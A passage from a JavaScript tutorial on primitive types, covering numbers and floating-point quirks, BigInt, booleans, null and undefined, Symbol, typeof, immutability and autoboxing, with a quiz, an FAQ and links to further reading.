Integer\nlet decimal = 3.14;      // Decimal\nlet negative = -10;      // Negative\nlet scientific = 2.5e6;  // 2,500,000 (scientific notation)\n```\n\n#### Special Number Values\n\n```javascript\nconsole.log(1 / 0);       // Infinity\nconsole.log(-1 / 0);      // -Infinity\nconsole.log(\"hello\" * 2); // NaN (Not a Number)\n```\n\nJavaScript has special number values: [`Infinity`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Infinity) for values too large to represent, and [`NaN`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN) (Not a Number) for invalid mathematical operations.\n\n#### The Famous Floating-Point Problem\n\n```javascript\nconsole.log(0.1 + 0.2);           // 0.30000000000000004\nconsole.log(0.1 + 0.2 === 0.3);   // false! Welcome to JavaScript!\n```\n\nThis isn't a JavaScript bug — it follows the IEEE 754 double-precision floating-point standard used by virtually all modern programming languages. The decimal `0.1` cannot be perfectly represented in binary.\n\n<Warning>\n**Working with money?** Never use floating-point for calculations! Store amounts in cents as integers, then use JavaScript's built-in [`Intl.NumberFormat`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat) for display.\n\n```javascript\n// Bad: floating-point errors in calculations\nlet price = 0.1 + 0.2;  // 0.30000000000000004\n\n// Good: calculate in cents, format for display\nlet priceInCents = 10 + 20;  // 30 (calculation is accurate!)\n\n// Use Intl.NumberFormat to display as currency\nconst formatter = new Intl.NumberFormat('en-US', {\n  style: 'currency',\n  currency: 'USD',\n});\nconsole.log(formatter.format(priceInCents / 100));  // \"$0.30\"\n\n// Works for any locale and currency!\nconst euroFormatter = new Intl.NumberFormat('de-DE', {\n  style: 'currency',\n  currency: 'EUR',\n});\nconsole.log(euroFormatter.format(1234.56));  // \"1.234,56 €\"\n```\n</Warning>\n\n<Tip>\n`Intl.NumberFormat` is built into JavaScript. No external libraries needed! It handles currency symbols, decimal separators, and locale-specific formatting automatically.\n</Tip>\n\n#### Safe Integer Range\n\nJavaScript can only safely represent integers up to a certain size:\n\n```javascript\nconsole.log(Number.MAX_SAFE_INTEGER);  // 9007199254740991 (2^53 - 1)\nconsole.log(Number.MIN_SAFE_INTEGER);  // -9007199254740991\n```\n\n[`Number.MAX_SAFE_INTEGER`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/MAX_SAFE_INTEGER) is the largest integer that can be safely represented. Beyond this range, precision is lost:\n\n```javascript\n// Beyond this range, precision is lost\nconsole.log(9007199254740992 === 9007199254740993);  // true! (wrong!)\n```\n\nFor larger integers, use `BigInt`.\n\n---\n\n### BigInt\n\n**[BigInt](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt)** (ES2020) represents integers larger than `Number.MAX_SAFE_INTEGER`.\n\n```javascript\n// Add 'n' suffix to create a BigInt\nlet big = 9007199254740993n;\nlet alsoBig = BigInt(\"9007199254740993\");\n\nconsole.log(big + 1n);  // 9007199254740994n (correct!)\n```\n\n#### BigInt Rules\n\n```javascript\n// Cannot mix BigInt and Number\nlet big = 10n;\nlet regular = 5;\n// console.log(big + regular);  // TypeError!\n\n// Must convert explicitly\nconsole.log(big + BigInt(regular));  // 15n\nconsole.log(Number(big) + regular);  // 15\n```\n\n<Note>\n**When to use BigInt:** Cryptography, precise timestamps, database IDs, any calculation requiring integers larger than 9 quadrillion.\n</Note>\n\n---\n\n### Boolean\n\n**[Boolean](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean)** has exactly two values: `true` and `false`.\n\n```javascript\nlet isLoggedIn = true;\nlet hasPermission = false;\n\n// From comparisons\nlet isAdult = age >= 18;        // true or false\nlet isEqual = name === \"Alice\"; // true or false\n```\n\n#### Truthy and Falsy\n\nWhen used in boolean contexts (like `if` statements), all values are either \"truthy\" or \"falsy\":\n\n```javascript\n// Falsy values (only 8!)\nfalse\n0\n-0\n0n        // BigInt zero\n\"\"        // Empty string\nnull\nundefined\nNaN\n\n// Everything else is truthy\n\"hello\"   // truthy\n42        // truthy\n[]        // truthy (empty array!)\n{}        // truthy (empty object!)\n```\n\n```javascript\n// Convert any value to boolean\nlet value = \"hello\";\nlet bool = Boolean(value);  // true\nlet shortcut = !!value;     // true (double negation trick)\n```\n\n<Tip>\nLearn more about how JavaScript converts between types in the [Type Coercion](/concepts/type-coercion) section.\n</Tip>\n\n---\n\n### undefined\n\n**[`undefined`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined)** means \"no value has been assigned.\" JavaScript uses it automatically in several situations:\n\n```javascript\n// 1. Declared but not assigned\nlet x;\nconsole.log(x);  // undefined\n\n// 2. Missing function parameters\nfunction greet(name) {\n  console.log(name);  // undefined if called without argument\n}\ngreet();\n\n// 3. Function with no return statement\nfunction doNothing() {\n  // no return\n}\nconsole.log(doNothing());  // undefined\n\n// 4. Accessing non-existent object property\nlet person = { name: \"Alice\" };\nconsole.log(person.age);  // undefined\n```\n\n<Tip>\nDon't explicitly assign `undefined` to variables. Use `null` instead to indicate \"intentionally empty.\"\n</Tip>\n\n---\n\n### null\n\n**[`null`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/null)** means \"intentionally empty\". You're explicitly saying \"this has no value.\"\n\n```javascript\n// Intentionally clearing a variable\nlet user = { name: \"Alice\" };\nuser = null;  // User logged out, clearing the reference\n\n// Indicating no result\nfunction findUser(id) {\n  // ... search logic ...\n  return null;  // User not found\n}\n```\n\n#### The Famous typeof Bug\n\n```javascript\nconsole.log(typeof null);  // \"object\" — Wait, what?!\n```\n\nYes, really. This is one of JavaScript's most famous quirks! It's a historical mistake from JavaScript's first implementation in 1995. It was never fixed because too much existing code depends on it.\n\n```javascript\n// How to properly check for null\nlet value = null;\nconsole.log(value === null);  // true (use strict equality)\n```\n\n---\n\n### Symbol\n\n**[Symbol](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol)** (ES6) creates unique identifiers. According to MDN, Symbol was the first new primitive type added to JavaScript since its creation in 1995. Even symbols with the same description are different.\n\n```javascript\nlet id1 = Symbol(\"id\");\nlet id2 = Symbol(\"id\");\n\nconsole.log(id1 === id2);  // false — always unique!\nconsole.log(id1.description);  // \"id\" (the description)\n```\n\n#### Use Case: Unique Object Keys\n\n```javascript\nconst ID = Symbol(\"id\");\nconst user = {\n  name: \"Alice\",\n  [ID]: 12345  // Symbol as property key\n};\n\nconsole.log(user.name);    // \"Alice\"\nconsole.log(user[ID]);     // 12345\n\n// Symbol keys don't appear in normal iteration\nconsole.log(Object.keys(user));  // [\"name\"] — ID not included\n```\n\n#### Well-Known Symbols\n\nJavaScript has built-in symbols for customizing object behavior:\n\n```javascript\n// Symbol.iterator - make an object iterable\n// Symbol.toStringTag - customize Object.prototype.toString\n// Symbol.toPrimitive - customize type conversion\n```\n\nThese are called [well-known symbols](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol#well-known_symbols) and allow you to customize how objects behave with built-in operations.\n\n<Note>\nSymbols are an advanced feature. As a beginner, focus on understanding that they exist and create unique values. You'll encounter them when diving into advanced patterns and library code.\n</Note>\n\n---\n\n## The typeof Operator\n\nThe [`typeof`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof) operator returns a string indicating the type of a value.\n\n```javascript\nconsole.log(typeof \"hello\");     // \"string\"\nconsole.log(typeof 42);          // \"number\"\nconsole.log(typeof 42n);         // \"bigint\"\nconsole.log(typeof true);        // \"boolean\"\nconsole.log(typeof undefined);   // \"undefined\"\nconsole.log(typeof Symbol());    // \"symbol\"\nconsole.log(typeof null);        // \"object\" ⚠️ (bug!)\nconsole.log(typeof {});          // \"object\"\nconsole.log(typeof []);          // \"object\"\nconsole.log(typeof function(){}); // \"function\"\n```\n\n### typeof Results Table\n\n| Value | typeof Result | Notes |\n|-------|---------------|-------|\n| `\"hello\"` | `\"string\"` | |\n| `42` | `\"number\"` | |\n| `42n` | `\"bigint\"` | |\n| `true` / `false` | `\"boolean\"` | |\n| `undefined` | `\"undefined\"` | |\n| `Symbol()` | `\"symbol\"` | |\n| `null` | `\"object\"` | Historical bug! |\n| `{}` | `\"object\"` | |\n| `[]` | `\"object\"` | Arrays are objects |\n| `function(){}` | `\"function\"` | Functions are special |\n\n### Better Type Checking\n\nSince `typeof` has quirks, here are more reliable alternatives:\n\n```javascript\n// Check for null specifically\nlet value = null;\nif (value === null) {\n  console.log(\"It's null\");\n}\n\n// Check for arrays\nArray.isArray([1, 2, 3]);  // true\nArray.isArray(\"hello\");    // false\n\n// Get precise type with Object.prototype.toString\nObject.prototype.toString.call(null);       // \"[object Null]\"\nObject.prototype.toString.call([]);         // \"[object Array]\"\nObject.prototype.toString.call(new Date()); // \"[object Date]\"\n```\n\n[`Array.isArray()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/isArray) is the reliable way to check for arrays, since `typeof []` returns `\"object\"`. For more complex type checking, [`Object.prototype.toString()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/toString) gives precise type information.\n\n---\n\n## Immutability Explained\n\n**Immutable** means \"cannot be changed.\" Primitive values are immutable. You cannot alter the value itself.\n\n### Seeing Immutability in Action\n\n```javascript\nlet str = \"hello\";\n\n// These methods don't change 'str' — they return NEW strings\nstr.toUpperCase();     // Returns \"HELLO\"\nconsole.log(str);      // Still \"hello\"!\n\n// To capture the new value, you must reassign\nstr = str.toUpperCase();\nconsole.log(str);      // Now \"HELLO\"\n```\n\n### Visual: What Happens in Memory\n\n```\nBEFORE str.toUpperCase():\n┌─────────────────┐\n│  str → \"hello\"  │   (original string)\n└─────────────────┘\n\nAFTER str.toUpperCase() (without reassignment):\n┌─────────────────┐\n│  str → \"hello\"  │   (unchanged!)\n└─────────────────┘\n┌─────────────────┐\n│     \"HELLO\"     │   (new string, not captured, garbage collected)\n└─────────────────┘\n\nAFTER str = str.toUpperCase():\n┌─────────────────┐\n│  str → \"HELLO\"  │   (str now points to new string)\n└─────────────────┘\n```\n\n### Common Misconception: const vs Immutability\n\n`const` prevents **reassignment**, not mutation. These are different concepts!\n\n```javascript\n// const prevents reassignment\nconst name = \"Alice\";\n// name = \"Bob\";  // Error! Cannot reassign const\n\n// But const doesn't make objects immutable\nconst person = { name: \"Alice\" };\nperson.name = \"Bob\";     // Works! Mutating the object\nperson.age = 25;         // Works! Adding a property\n// person = {};          // Error! Cannot reassign const\n\n// Primitives are immutable regardless of const/let\nlet str = \"hello\";\nstr[0] = \"H\";  // Silently fails — can't mutate primitive\n```\n\n<Tip>\nThink of it this way: `const` protects the **variable** (the container). Immutability protects the **value** (the content).\n</Tip>\n\n---\n\n## Autoboxing: The Secret Life of Primitives\n\nIf primitives have no methods, how does `\"hello\".toUpperCase()` work?\n\n### The Magic Behind the Scenes\n\nWhen you access a property or method on a primitive, JavaScript temporarily wraps it in an object:\n\n<Steps>\n  <Step title=\"You Call a Method on a Primitive\">\n    ```javascript\n    \"hello\".toUpperCase()\n    ```\n  </Step>\n  \n  <Step title=\"JavaScript Creates a Wrapper Object\">\n    Behind the scenes, JavaScript does something like:\n    ```javascript\n    (new String(\"hello\")).toUpperCase()\n    ```\n  </Step>\n  \n  <Step title=\"Method Executes and Returns\">\n    The `toUpperCase()` method runs and returns `\"HELLO\"`.\n  </Step>\n  \n  <Step title=\"Wrapper Object Is Discarded\">\n    The temporary `String` object is thrown away. The original primitive `\"hello\"` is unchanged.\n  </Step>\n</Steps>\n\n### Wrapper Objects\n\nEach primitive type (except `null` and `undefined`) has a corresponding wrapper object:\n\n| Primitive | Wrapper Object |\n|-----------|----------------|\n| `string` | `String` |\n| `number` | `Number` |\n| `boolean` | `Boolean` |\n| `bigint` | `BigInt` |\n| `symbol` | `Symbol` |\n\n### Don't Use new String() etc.\n\nYou can create wrapper objects manually, but **don't**:\n\n```javascript\n// Don't do this!\nlet strObj = new String(\"hello\");\nconsole.log(typeof strObj);        // \"object\" (not \"string\"!)\nconsole.log(strObj === \"hello\");   // false (object vs primitive)\n\n// Do this instead\nlet str = \"hello\";\nconsole.log(typeof str);           // \"string\"\n```\n\n<Warning>\nUsing `new String()`, `new Number()`, or `new Boolean()` creates **objects**, not primitives. This can cause confusing bugs with equality checks and typeof.\n</Warning>\n\n---\n\n## null vs undefined\n\nThese two \"empty\" values confuse many developers. Here's how they differ:\n\n<Tabs>\n  <Tab title=\"Side-by-Side Comparison\">\n    | Aspect | `undefined` | `null` |\n    |--------|-------------|--------|\n    | **Meaning** | \"No value assigned yet\" | \"Intentionally empty\" |\n    | **Set by** | JavaScript automatically | Developer explicitly |\n    | **typeof** | `\"undefined\"` | `\"object\"` (bug) |\n    | **In JSON** | Omitted from output | Preserved as `null` |\n    | **Default params** | Triggers default | Doesn't trigger default |\n    | **Loose equality** | `null == undefined` is `true` | |\n    | **Strict equality** | `null === undefined` is `false` | |\n  </Tab>\n  <Tab title=\"When JavaScript Uses undefined\">\n    ```javascript\n    // 1. Uninitialized variables\n    let x;\n    console.log(x);  // undefined\n    \n    // 2. Missing function arguments\n    function greet(name) {\n      console.log(name);\n    }\n    greet();  // undefined\n    \n    // 3. No return statement\n    function noReturn() {}\n    console.log(noReturn());  // undefined\n    \n    // 4. Non-existent properties\n    let obj = {};\n    console.log(obj.missing);  // undefined\n    \n    // 5. Array holes\n    let arr = [1, , 3];\n    console.log(arr[1]);  // undefined\n    ```\n  </Tab>\n  <Tab title=\"When to Use null\">\n    ```javascript\n    // 1. Explicitly \"clearing\" a value\n    let user = { name: \"Alice\" };\n    user = null;  // User logged out\n    \n    // 2. Function returning \"no result\"\n    function findUser(id) {\n      // Search logic...\n      return null;  // Not found\n    }\n    \n    // 3. Optional object properties\n    let config = {\n      cache: true,\n      timeout: null  // Explicitly no timeout\n    };\n    \n    // 4. Resetting references\n    let timer = setTimeout(callback, 1000);\n    clearTimeout(timer);\n    timer = null;  // Clear reference\n    ```\n  </Tab>\n</Tabs>\n\n### Best Practices\n\n```javascript\n// Check for either null or undefined (loose equality)\nif (value == null) {\n  console.log(\"Value is null or undefined\");\n}\n\n// Check for specifically undefined\nif (value === undefined) {\n  console.log(\"Value is undefined\");\n}\n\n// Check for specifically null\nif (value === null) {\n  console.log(\"Value is null\");\n}\n\n// Check for \"has a value\" (not null/undefined)\nif (value != null) {\n  console.log(\"Value exists\");\n}\n```\n\n---\n\n## The #1 Primitive Mistake: Using Wrapper Constructors\n\nThe most common mistake developers make with primitives is using `new String()`, `new Number()`, or `new Boolean()` instead of literal values.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                     PRIMITIVES VS WRAPPER OBJECTS                        │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  WRONG WAY                              RIGHT WAY                        │\n│  ─────────                              ─────────                        │\n│  new String(\"hello\")                    \"hello\"                          │\n│  new Number(42)                         42                               │\n│  new Boolean(true)                      true                             │\n│                                                                          │\n│  typeof new String(\"hi\") → \"object\"     typeof \"hi\" → \"string\"          │\n│  new String(\"hi\") === \"hi\" → false      \"hi\" === \"hi\" → true            │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n```javascript\n// ❌ WRONG - Creates an object, not a primitive\nconst str = new String(\"hello\");\nconsole.log(typeof str);        // \"object\" (not \"string\"!)\nconsole.log(str === \"hello\");   // false (object vs primitive)\n\n// ✓ CORRECT - Use primitive literals\nconst str2 = \"hello\";\nconsole.log(typeof str2);       // \"string\"\nconsole.log(str2 === \"hello\");  // true\n```\n\n<Warning>\n**The Trap:** Using `new String()`, `new Number()`, or `new Boolean()` creates wrapper **objects**, not primitives. This breaks equality checks (`===`), `typeof` comparisons, and can cause subtle bugs. Always use literal syntax: `\"hello\"`, `42`, `true`.\n</Warning>\n\n<Tip>\n**Rule of Thumb:** Never use `new` with `String`, `Number`, or `Boolean`. The only exception is when you intentionally need the wrapper object (which is rare). For type conversion, use them as functions without `new`: `String(123)` returns `\"123\"` (a primitive).\n</Tip>\n\n---\n\n## JavaScript Quirks & Gotchas\n\nJavaScript has some famous \"weird parts\" that every developer should know. Most relate to primitives and type coercion.\n\n<AccordionGroup>\n  <Accordion title=\"1. typeof null === 'object'\">\n    ```javascript\n    console.log(typeof null);  // \"object\"\n    ```\n    \n    **Why?** This is a bug from JavaScript's first implementation in 1995. In the original code, values had a small label to identify their type. Objects had the label `000`, and `null` was represented as the NULL pointer (`0x00`), which also had `000`.\n    \n    **Why not fixed?** A proposal to fix it was rejected because too much existing code checks `typeof x === \"object\"` and expects `null` to pass.\n    \n    **Workaround:**\n    ```javascript\n    // Always check for null explicitly\n    if (value !== null && typeof value === \"object\") {\n      // It's a real object\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"2. NaN !== NaN\">\n    ```javascript\n    console.log(NaN === NaN);  // false!\n    console.log(NaN !== NaN);  // true!\n    ```\n    \n    NaN is so confused about its identity that it doesn't even equal itself!\n    \n    **Why?** By the IEEE 754 specification, NaN represents \"Not a Number\", an undefined or unrepresentable result. Since it's not a specific number, it can't equal anything, including itself.\n    \n    **How to check for NaN:**\n    ```javascript\n    // Don't do this\n    if (value === NaN) { }  // Never true!\n    \n    // Do this instead\n    if (Number.isNaN(value)) { }  // ES6, recommended\n    if (isNaN(value)) { }         // Older, has quirks\n    ```\n    \n    <Note>\n    [`isNaN()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/isNaN) converts the value first, so `isNaN(\"hello\")` is `true`. [`Number.isNaN()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/isNaN) only returns `true` for actual `NaN`.\n    </Note>\n  </Accordion>\n  \n  <Accordion title=\"3. 0.1 + 0.2 !== 0.3\">\n    ```javascript\n    console.log(0.1 + 0.2);         // 0.30000000000000004\n    console.log(0.1 + 0.2 === 0.3); // false\n    ```\n    \n    **Why?** Computers store numbers in binary. Just like 1/3 can't be perfectly represented in decimal (0.333...), 0.1 can't be perfectly represented in binary.\n    \n    **Solutions:**\n    ```javascript\n    // 1. Work in integers (cents, not dollars) — RECOMMENDED\n    let totalCents = 10 + 20;  // 30 (accurate!)\n    let dollars = totalCents / 100;  // 0.3\n    \n    // 2. Use Intl.NumberFormat for display\n    new Intl.NumberFormat('en-US', { \n      style: 'currency', \n      currency: 'USD' \n    }).format(0.30);  // \"$0.30\"\n    \n    // 3. Compare with tolerance for equality checks\n    Math.abs((0.1 + 0.2) - 0.3) < Number.EPSILON;  // true (Number.EPSILON is the smallest difference)\n    \n    // 4. Use toFixed() for simple rounding\n    (0.1 + 0.2).toFixed(2);  // \"0.30\"\n    ```\n  </Accordion>\n  \n  <Accordion title=\"4. Empty String is Falsy, But...\">\n    ```javascript\n    console.log(Boolean(\"\"));      // false (empty string is falsy)\n    console.log(Boolean(\" \"));     // true (space is truthy!)\n    console.log(Boolean(\"0\"));     // true (string \"0\" is truthy!)\n    console.log(Boolean(0));       // false (number 0 is falsy)\n    \n    console.log(\"\" == false);      // true (coercion)\n    console.log(\"\" === false);     // false (different types)\n    ```\n    \n    **The lesson:** Be careful with truthy/falsy checks on strings. An empty string `\"\"` is falsy, but a string with just whitespace `\" \"` is truthy.\n    \n    ```javascript\n    // Check for empty or whitespace-only string\n    if (str.trim() === \"\") {\n      console.log(\"String is empty or whitespace\");\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"5. + Operator String Concatenation\">\n    ```javascript\n    console.log(1 + 2);        // 3 (number addition)\n    console.log(\"1\" + \"2\");    // \"12\" (string concatenation)\n    console.log(1 + \"2\");      // \"12\" (number converted to string!)\n    console.log(\"1\" + 2);      // \"12\" (number converted to string!)\n    console.log(1 + 2 + \"3\");  // \"33\" (left to right: 1+2=3, then 3+\"3\"=\"33\")\n    console.log(\"1\" + 2 + 3);  // \"123\" (left to right: \"1\"+2=\"12\", \"12\"+3=\"123\")\n    ```\n    \n    **Why?** The `+` operator does addition for numbers, but concatenation for strings. When mixed, JavaScript converts numbers to strings.\n    \n    **Be explicit:**\n    ```javascript\n    // Force number addition\n    Number(\"1\") + Number(\"2\");  // 3\n    parseInt(\"1\") + parseInt(\"2\");  // 3\n    \n    // Force string concatenation\n    String(1) + String(2);  // \"12\"\n    `${1}${2}`;  // \"12\"\n    ```\n  </Accordion>\n</AccordionGroup>\n\n<Tip>\n**Want to go deeper?** Kyle Simpson's book \"You Don't Know JS: Types & Grammar\" is the definitive guide to understanding these quirks. It's free to read online!\n</Tip>\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember about Primitive Types:**\n\n1. **7 primitives**: string, number, bigint, boolean, undefined, null, symbol\n\n2. **Primitives are immutable** — you can't change the value itself, only create new values\n\n3. **Compared by value** — `\"hello\" === \"hello\"` is true because the values match\n\n4. **typeof works for most types** — except `typeof null` returns `\"object\"` (historical bug)\n\n5. **Autoboxing** allows primitives to use methods — JavaScript wraps them temporarily\n\n6. **undefined vs null** — undefined is \"not assigned,\" null is \"intentionally empty\"\n\n7. **Be aware of gotchas** — `NaN !== NaN`, `0.1 + 0.2 !== 0.3`, falsy values\n\n8. **Don't use `new String()` etc.** — creates objects, not primitives\n\n9. **Symbols create unique identifiers** — even `Symbol(\"id\") !== Symbol(\"id\")`\n\n10. **Use `Number.isNaN()` to check for NaN** — don't use equality comparison since `NaN !== NaN`\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: What are the 7 primitive types in JavaScript?\">\n    **Answer:** \n    1. `string` - text data\n    2. `number` - integers and decimals\n    3. `bigint` - large integers\n    4. `boolean` - true/false\n    5. `undefined` - no value assigned\n    6. `null` - intentionally empty\n    7. `symbol` - unique identifier\n    \n    Remember: Everything else is an object (arrays, functions, dates, etc.).\n  </Accordion>\n  \n  <Accordion title=\"Question 2: What does typeof null return and why?\">\n    **Answer:** `typeof null` returns `\"object\"`.\n    \n    This is a bug from JavaScript's original implementation in 1995. Values were stored with type tags, and both objects and `null` had the same `000` tag. The bug was never fixed because too much existing code depends on this behavior.\n    \n    To check for null, use `value === null` instead.\n  </Accordion>\n  \n  <Accordion title=\"Question 3: Why does 0.1 + 0.2 !== 0.3?\">\n    **Answer:** Because JavaScript (like all languages) uses binary floating-point (IEEE 754) to store numbers. \n    \n    Just like 1/3 can't be perfectly represented in decimal (0.333...), 0.1 can't be perfectly represented in binary. The tiny rounding errors accumulate, giving us `0.30000000000000004` instead of `0.3`.\n    \n    Solutions: Use integers (work in cents), use `toFixed()` for display, compare with tolerance, or use a decimal math library.\n  </Accordion>\n  \n  <Accordion title=\"Question 4: What's the difference between null and undefined?\">\n    **Answer:**\n    - **`undefined`**: Means \"no value has been assigned.\" JavaScript sets this automatically for uninitialized variables, missing function arguments, and non-existent properties.\n    \n    - **`null`**: Means \"intentionally empty.\" Developers use this explicitly to indicate \"this has no value on purpose.\"\n    \n    Key difference: `undefined` is the *default* empty value; `null` is the *intentional* empty value.\n    \n    ```javascript\n    let x;           // undefined (automatic)\n    let y = null;    // null (explicit)\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 5: How can 'hello'.toUpperCase() work if primitives have no methods?\">\n    **Answer:** Through **autoboxing** (also called \"auto-wrapping\").\n    \n    When you call a method on a primitive:\n    1. JavaScript temporarily wraps it in a wrapper object (`String`, `Number`, etc.)\n    2. The method is called on the wrapper object\n    3. The result is returned\n    4. The wrapper object is discarded\n    \n    So `\"hello\".toUpperCase()` becomes `(new String(\"hello\")).toUpperCase()` behind the scenes. The original primitive `\"hello\"` is never changed.\n  </Accordion>\n  \n  <Accordion title=\"Question 6: Why can't you use === to check if a value is NaN?\">\n    **Answer:** Because `NaN` is the only value in JavaScript that is not equal to itself!\n    \n    ```javascript\n    console.log(NaN === NaN);  // false!\n    ```\n    \n    This is per the IEEE 754 floating-point specification. `NaN` represents an undefined or unrepresentable mathematical result, so it can't equal anything, including itself.\n    \n    **How to check for NaN:**\n    ```javascript\n    // ❌ WRONG - Never works!\n    if (value === NaN) { }\n    \n    // ✓ CORRECT - Use Number.isNaN()\n    if (Number.isNaN(value)) { }\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What are the 7 primitive types in JavaScript?\">\n    JavaScript has exactly seven primitive types: string, number, bigint, boolean, undefined, null, and symbol. As defined by the ECMAScript specification, these are the fundamental building blocks of all data in JavaScript — everything else is an object.\n  </Accordion>\n\n  <Accordion title=\"Why does typeof null return 'object' in JavaScript?\">\n    This is a well-documented bug from JavaScript's first implementation in 1995. In the original C source code, values were stored with type tags, and both objects and null shared the `000` tag. A proposal to fix it (typeof null === \"null\") was rejected by TC39 because too much existing code depends on the current behavior.\n  </Accordion>\n\n  <Accordion title=\"What is autoboxing in JavaScript?\">\n    Autoboxing is the process where JavaScript temporarily wraps a primitive in its corresponding wrapper object (String, Number, Boolean) when you access a property or call a method. For example, `\"hello\".toUpperCase()` works because the engine briefly creates a String object, calls the method, and discards the wrapper. As documented in MDN, this is why primitives appear to have methods even though they are not objects.\n  </Accordion>\n\n  <Accordion title=\"What is the difference between null and undefined in JavaScript?\">\n    `undefined` means \"no value has been assigned\" and is set automatically by the JavaScript engine. `null` means \"intentionally empty\" and is always set explicitly by the developer. According to the ECMAScript specification, `null == undefined` is true under loose equality, but `null === undefined` is false because they are different types.\n  </Accordion>\n\n  <Accordion title=\"Why does 0.1 + 0.2 not equal 0.3 in JavaScript?\">\n    This happens because JavaScript uses the IEEE 754 double-precision floating-point standard to represent numbers. Certain decimal fractions like 0.1 cannot be represented exactly in binary, leading to tiny rounding errors. This is not a JavaScript-specific issue — the same behavior occurs in Python, Java, C++, and virtually every language that uses IEEE 754.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Primitives vs Objects\" icon=\"clone\" href=\"/concepts/primitives-objects\">\n    How primitives and objects behave differently in JavaScript\n  </Card>\n  <Card title=\"Type Coercion\" icon=\"shuffle\" href=\"/concepts/type-coercion\">\n    How JavaScript converts between types automatically\n  </Card>\n  <Card title=\"== vs === vs typeof\" icon=\"equals\" href=\"/concepts/equality-operators\">\n    Understanding equality operators and type checking\n  </Card>\n  <Card title=\"Scope & Closures\" icon=\"layer-group\" href=\"/concepts/scope-and-closures\">\n    How variables are accessed and how functions remember their environment\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"Primitive — MDN Glossary\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Glossary/Primitive\">\n    Official MDN glossary definition of primitive values in JavaScript.\n  </Card>\n  <Card title=\"JavaScript data types and data structures — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures\">\n    Comprehensive MDN guide to JavaScript's type system and data structures.\n  </Card>\n  <Card title=\"typeof operator — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof\">\n    Complete reference for the typeof operator including its quirks and return values.\n  </Card>\n  <Card title=\"Symbol — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol\">\n    Deep dive into JavaScript Symbols, well-known symbols, and use cases.\n  </Card>\n</CardGroup>\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"Primitive and Non-primitive data-types in JavaScript\" icon=\"newspaper\" href=\"https://www.geeksforgeeks.org/primitive-and-non-primitive-data-types-in-javascript\">\n    Beginner-friendly overview covering all 7 primitive types with a comparison table showing the differences between primitives and objects.\n  </Card>\n  <Card title=\"How numbers are encoded in JavaScript\" icon=\"newspaper\" href=\"http://2ality.com/2012/04/number-encoding.html\">\n    Expert deep-dive by Dr. Axel Rauschmayer into IEEE 754 floating-point representation, explaining why 0.1 + 0.2 !== 0.3 and how JavaScript stores numbers internally.\n  </Card>\n  <Card title=\"(Not) Everything in JavaScript is an Object\" icon=\"newspaper\" href=\"https://dev.to/d4nyll/not-everything-in-javascript-is-an-object\">\n    Debunks the common myth that \"everything in JS is an object.\" Shows how autoboxing creates the illusion that primitives have methods, with diagrams explaining what happens behind the scenes.\n  </Card>\n  <Card title=\"Methods of Primitives\" icon=\"newspaper\" href=\"https://javascript.info/primitives-methods\">\n    The javascript.info guide walks through each wrapper type (String, Number, Boolean) and includes interactive tasks to test your understanding. One of the best resources for learning autoboxing.\n  </Card>\n  <Card title=\"The Differences Between Object.freeze() vs Const\" icon=\"newspaper\" href=\"https://medium.com/@bolajiayodeji/the-differences-between-object-freeze-vs-const-in-javascript-4eacea534d7c\">\n    Clears up the common confusion between const (prevents reassignment) and immutability (prevents mutation). Short and beginner-friendly.\n  </Card>\n</CardGroup>\n\n## Books\n\n<Card title=\"You Don't Know JS: Types & Grammar — Kyle Simpson\" icon=\"book\" href=\"https://github.com/getify/You-Dont-Know-JS/blob/2nd-ed/types-grammar/README.md\">\n  The definitive deep-dive into JavaScript types. Free to read online. Covers primitives, coercion, and the \"weird parts\" that trip up developers. Essential reading for understanding JavaScript's type system.\n</Card>\n\n## Courses\n\n<CardGroup cols={2}>\n  <Card title=\"JavaScript: Understanding the Weird Parts (First 3.5 Hours) — Anthony Alicea\" icon=\"graduation-cap\" href=\"https://www.youtube.com/watch?v=Bv_5Zv5c-Ts\">\n    Free preview of one of the most acclaimed JavaScript courses ever made. Covers types, coercion, and the \"weird parts\" that confuse developers. Perfect starting point before buying the full course.\n  </Card>\n  <Card title=\"JavaScript: Understanding the Weird Parts (Full Course) — Anthony Alicea\" 